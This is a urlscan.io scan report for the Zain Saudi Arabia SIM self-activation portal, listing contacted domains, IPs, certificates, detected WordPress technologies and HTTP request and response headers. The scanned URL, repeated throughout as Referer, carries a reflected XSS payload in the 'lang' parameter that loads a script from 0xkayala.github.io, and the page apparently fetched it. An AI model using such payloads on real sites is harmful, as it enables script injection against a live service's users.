urlscan.io logo urlscan.io
SecurityTrails logo

self.sa.zain.com Open in urlscan Pro
95.178.81.27  Public Scan

Go To Rescan Add Verdict Report
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%2...
Submission: On February 26 via manual from AE — Scanned from DE
 Behaviour Indicators
Similar DOM Content API
Verdicts

Summary

This website contacted 10 IPs in 3 countries across 9 domains to perform 81 HTTP transactions. The main IP is 95.178.81.27, located in Dammam, Saudi Arabia and belongs to MTC-KSA-AS, SA. The main domain is self.sa.zain.com.
TLS certificate: Issued by DigiCert Global G2 TLS RSA SHA256 202... on January 14th 2024. Valid for: a year.
This is the only time self.sa.zain.com was scanned on urlscan.io!

urlscan.io Verdict: No classification

Domain & IP information

IP Address AS Autonomous System
50 95.178.81.27 43766 (MTC-KSA-AS)
2 2a00:1450:400... 15169 (GOOGLE)
3 2606:4700::68... 13335 (CLOUDFLAR...)
8 2a00:1450:400... 15169 (GOOGLE)
2 3 2606:4700::68... 13335 (CLOUDFLAR...)
2 2606:4700::68... 13335 (CLOUDFLAR...)
1 152.199.19.160 15133 (EDGECAST)
1 2606:50c0:800... 54113 (FASTLY)
5 2a00:1450:400... 15169 (GOOGLE)
8 2a00:1450:400... 15169 (GOOGLE)
81 10
50    95.178.81.27 (Dammam, Saudi Arabia)

ASN43766 (MTC-KSA-AS, SA)
PTR: eshop.sa.zain.com
self.sa.zain.com
2    2a00:1450:4001:80b::200a (Frankfurt am Main, Germany)

ASN15169 (GOOGLE, US)
fonts.googleapis.com
3    2606:4700::6810:5614 (United States)

ASN13335 (CLOUDFLARENET, US)
cdn.jsdelivr.net
8    2a00:1450:4001:82f::2004 (Frankfurt am Main, Germany)

ASN15169 (GOOGLE, US)
www.google.com
3    2606:4700::6810:7eaf (United States)

ASN13335 (CLOUDFLARENET, US)
unpkg.com
2    2606:4700::6811:190e (United States)

ASN13335 (CLOUDFLARENET, US)
cdnjs.cloudflare.com
1    152.199.19.160 (United States)

ASN15133 (EDGECAST, US)
ajax.aspnetcdn.com
1    2606:50c0:8001::153 (United States)

ASN54113 (FASTLY, US)
0xkayala.github.io
5    2a00:1450:4001:80e::2003 (Frankfurt am Main, Germany)

ASN15169 (GOOGLE, US)
fonts.gstatic.com
8    2a00:1450:4001:810::2003 (Frankfurt am Main, Germany)

ASN15169 (GOOGLE, US)
www.gstatic.com
Apex Domain
Subdomains		 Transfer
50 zain.com
self.sa.zain.com
433 KB
13 gstatic.com
fonts.gstatic.com
www.gstatic.com
746 KB
8 google.com
www.google.com — Cisco Umbrella Rank: 2
91 KB
3 unpkg.com
unpkg.com — Cisco Umbrella Rank: 753
104 KB
3 jsdelivr.net
cdn.jsdelivr.net — Cisco Umbrella Rank: 306
43 KB
2 cloudflare.com
cdnjs.cloudflare.com — Cisco Umbrella Rank: 226
82 KB
2 googleapis.com
fonts.googleapis.com — Cisco Umbrella Rank: 32
2 KB
1 github.io
0xkayala.github.io
1 KB
1 aspnetcdn.com
ajax.aspnetcdn.com — Cisco Umbrella Rank: 2393
8 KB
81 9
Domain Requested by
50 self.sa.zain.com self.sa.zain.com
8 www.gstatic.com www.google.com
www.gstatic.com
8 www.google.com self.sa.zain.com
www.gstatic.com
www.google.com
5 fonts.gstatic.com fonts.googleapis.com
3 unpkg.com 2 redirects self.sa.zain.com
3 cdn.jsdelivr.net self.sa.zain.com
2 cdnjs.cloudflare.com self.sa.zain.com
cdnjs.cloudflare.com
2 fonts.googleapis.com self.sa.zain.com
1 0xkayala.github.io self.sa.zain.com
1 ajax.aspnetcdn.com self.sa.zain.com
81 10

This site contains links to these domains. Also see Links.

Domain
www.facebook.com
www.instagram.com
www.twitter.com
www.youtube.com
Subject Issuer Validity Valid
*.sa.zain.com
DigiCert Global G2 TLS RSA SHA256 2020 CA1		 2024-01-14 -
2025-01-27		 a year crt.sh
upload.video.google.com
GTS CA 1C3		 2024-02-05 -
2024-04-29		 3 months crt.sh
sni.cloudflaressl.com
Cloudflare Inc ECC CA-3		 2023-05-02 -
2024-05-01		 a year crt.sh
www.google.com
GTS CA 1C3		 2024-02-05 -
2024-04-29		 3 months crt.sh
*.vo.msecnd.net
DigiCert SHA2 Secure Server CA		 2023-05-05 -
2024-04-28		 a year crt.sh
*.github.io
DigiCert TLS RSA SHA256 2020 CA1		 2023-02-21 -
2024-03-20		 a year crt.sh
*.gstatic.com
GTS CA 1C3		 2024-02-05 -
2024-04-29		 3 months crt.sh
*.google.com
GTS CA 1C3		 2024-02-05 -
2024-04-29		 3 months crt.sh

This page contains 3 frames:

Primary Page: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Frame ID: DEAE8D748AC05A324C88928BA764DCC7
Requests: 64 HTTP requests in this frame

Frame: https://www.google.com/recaptcha/api2/anchor?ar=1&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl&co=aHR0cHM6Ly9zZWxmLnNhLnphaW4uY29tOjQ0Mw..&hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&size=invisible&cb=pkc07fnx47rr
Frame ID: 18DEB8424779D7164356B524EFE3329A
Requests: 5 HTTP requests in this frame

Frame: https://www.google.com/recaptcha/api2/bframe?hl=en&v=1kRDYC3bfA-o6-tsWzIBvp7k&k=6LeuolklAAAAAKFgsK5SlD0uubCOIGOoVc98K5Pl
Frame ID: 7487173AA58DA09CDB678B26488D20D8
Requests: 12 HTTP requests in this frame

Screenshot
Live screenshot
Full Image

Page Title

Home – SIM Validation – Zain Self-activation Portal

Detected technologies

Overall confidence: 100%
Detected patterns
  • /woocommerce(?:\.min)?\.js(?:\?ver=([0-9.]+))?
Overall confidence: 100%
Detected patterns
  • <link rel=["']stylesheet["'] [^>]+/wp-(?:content|includes)/
  • /wp-(?:content|includes)/
Overall confidence: 100%
Detected patterns
  • (?:F|f)o(?:n|r)t-?(?:A|a)wesome(?:.*?([0-9a-fA-F]{7,40}|[\d]+(?:.[\d]+(?:.[\d]+)?)?)|)
Overall confidence: 100%
Detected patterns
  • <link[^>]* href=[^>]+fonts\.(?:googleapis|google)\.com
Overall confidence: 100%
Detected patterns
  • ([\d.]+)?/modernizr(?:\.([\d.]+))?.*\.js
Overall confidence: 100%
Detected patterns
  • select2(?:\.min|\.full)?\.js
Overall confidence: 100%
Detected patterns
  • (?:/([\d.]+))?/slick(?:\.min)?\.js
Overall confidence: 100%
Detected patterns
  • /npm/sweetalert2@([\d.]+)
Overall confidence: 100%
Detected patterns
  • jquery.*\.js(?:\?ver(?:sion)?=([\d.]+))?
Overall confidence: 100%
Detected patterns
  • jquery[.-]migrate(?:-([\d.]+))?(?:\.min)?\.js(?:\?ver=([\d.]+))?
Overall confidence: 100%
Detected patterns
  • //cdn\.jsdelivr\.net/
Overall confidence: 100%
Detected patterns
  • /recaptcha/api\.js

Page Statistics

81
Requests

99 %
HTTPS

80 %
IPv6

9
Domains

10
Subdomains

10
IPs

3
Countries

1510 kB
Transfer

3919 kB
Size

6
Cookies

Redirected requests

There were HTTP redirect chains for the following requests:

Request Chain 32
  • https://unpkg.com/html5-qrcode HTTP 302
  • https://unpkg.com/html5-qrcode@2.3.8 HTTP 302
  • https://unpkg.com/html5-qrcode@2.3.8/html5-qrcode.min.js

81 HTTP transactions

Resource
Path		 Size
x-fer		 Type
MIME-Type
Primary Request /
self.sa.zain.com/new/go/ 		109 KB
22 KB 		Document
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
02cc2dc09db9639322ca21ba57ffe2682b4124f309e6bc880a63cc3d6128457a
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

Upgrade-Insecure-Requests
1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36
accept-language
de-DE,de;q=0.9

Response headers

Cache-Control
private
Connection
keep-alive
Content-Encoding
gzip
Content-Length
21627
Content-Security-Policy
upgrade-insecure-requests
Content-Type
text/html; charset=UTF-8
Date
Mon, 26 Feb 2024 20:02:35 GMT
Expires
Thu, 19 Nov 1981 08:52:00 GMT
Link
<https://self.sa.zain.com/new/wp-json/>; rel="https://api.w.org/" <https://self.sa.zain.com/new/wp-json/wp/v2/pages/3367>; rel="alternate"; type="application/json" <https://self.sa.zain.com/new/?p=3367>; rel=shortlink
Permissions-Policy
camera=(); accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Pragma
no-cache
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Vary
Accept-Encoding
X-Frame-Options
sameorigin
X-Xss-Protection
1; mode=block
style.min.css
self.sa.zain.com/new/wp-includes/css/dist/block-library/ 		95 KB
13 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-includes/css/dist/block-library/style.min.css?ver=6.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
aca566587618e75fa291a419c7c430be02e03fc72f6105658c1bc8e7d59a65e4
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:35 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Tue, 09 May 2023 01:00:31 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"17ced-5fb38482d52aa-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
12736
X-Xss-Protection
1; mode=block
vendors-style.css
self.sa.zain.com/new/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/ 		3 KB
2 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/vendors-style.css?ver=5.1.0
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
ae707ec81b142f04b6d5f785a5d4f7e8301bdb62a95288dee1f3e58930d21c7a
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:35 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"ccc-6036f08fb12da-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
1055
X-Xss-Protection
1; mode=block
style.css
self.sa.zain.com/new/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/ 		174 KB
19 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce/packages/woocommerce-blocks/build/style.css?ver=5.1.0
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
f859ec6ffbdeda0afa3d1fbfa0931d19c9ed6441323bf46916f2d7411f48ae8a
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:35 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"2b9e9-6036f08fb0ef2-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
19117
X-Xss-Protection
1; mode=block
classic-themes.min.css
self.sa.zain.com/new/wp-includes/css/ 		291 B
823 B 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-includes/css/classic-themes.min.css?ver=6.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
dcd9f488bd62ba0ee403b07a97e40b9ffd63a0eff61091588c913b16d5153d48
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:35 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Tue, 09 May 2023 01:00:31 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"123-5fb38482d75d2-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
210
X-Xss-Protection
1; mode=block
aps-responsive.css
self.sa.zain.com/new/wp-content/plugins/woocommerce-aps/public/css/ 		12 KB
2 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce-aps/public/css/aps-responsive.css?ver=2.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
b9ef5b893f814312d0b3ee6d02c72d4da95367ad826ecb2e3caa28400a22acd5
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:35 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"2f57-6036f08fc7e22-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
1934
X-Xss-Protection
1; mode=block
slick.css
self.sa.zain.com/new/wp-content/plugins/woocommerce-aps/public/css/ 		2 KB
1 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce-aps/public/css/slick.css?ver=2.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
110da242f69712673b5749d1302e37e365aa6fdf569926d5b43e23f4047446a9
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:35 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"645-6036f08fc7e22-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
561
X-Xss-Protection
1; mode=block
aps-public.css
self.sa.zain.com/new/wp-content/plugins/woocommerce-aps/public/css/ 		7 KB
3 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/woocommerce-aps/public/css/aps-public.css?ver=2.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
731a029879f6a6ba7a7957479fbd1ed104e481c95fa80745bc0a8ed78b7fc0c2
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:35 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"1dcb-6036f08fc7e22-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
2130
X-Xss-Protection
1; mode=block
style.min.css
self.sa.zain.com/new/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-list-vertical/ 		787 B
907 B 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-list-vertical/style.min.css?ver=1
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
6db448a15b4382997efe9df1de934b99939c1ae8751a8ec05c5b71e77567576a
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:35 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"313-6036f08ff9332-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
294
X-Xss-Protection
1; mode=block
style.min.css
self.sa.zain.com/new/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/menu-item/ 		202 B
732 B 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/menu-item/style.min.css?ver=1
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
ee14e1c34ca92b9c270bf567a0bb381f83c6151be2020a948547c3e9de2e9cd3
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:35 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"ca-6036f08ff971a-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
120
X-Xss-Protection
1; mode=block
normalize.min.css
self.sa.zain.com/new/wp-content/themes/savoy/assets/css/third-party/ 		2 KB
1 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/css/third-party/normalize.min.css?ver=3.0.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
e99c5d0c2184e22458b53c49c9b2badcde263b3c571bedbcd3c7ceae9c45a53a
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:35 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"6af-5ce382a0883aa-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
705
X-Xss-Protection
1; mode=block
slick.min.css
self.sa.zain.com/new/wp-content/themes/savoy/assets/css/third-party/ 		957 B
999 B 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/css/third-party/slick.min.css?ver=1.5.5
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
555666b22530324690d645445978e04087332411db0eb502295b5d6cbae14a61
Security Headers
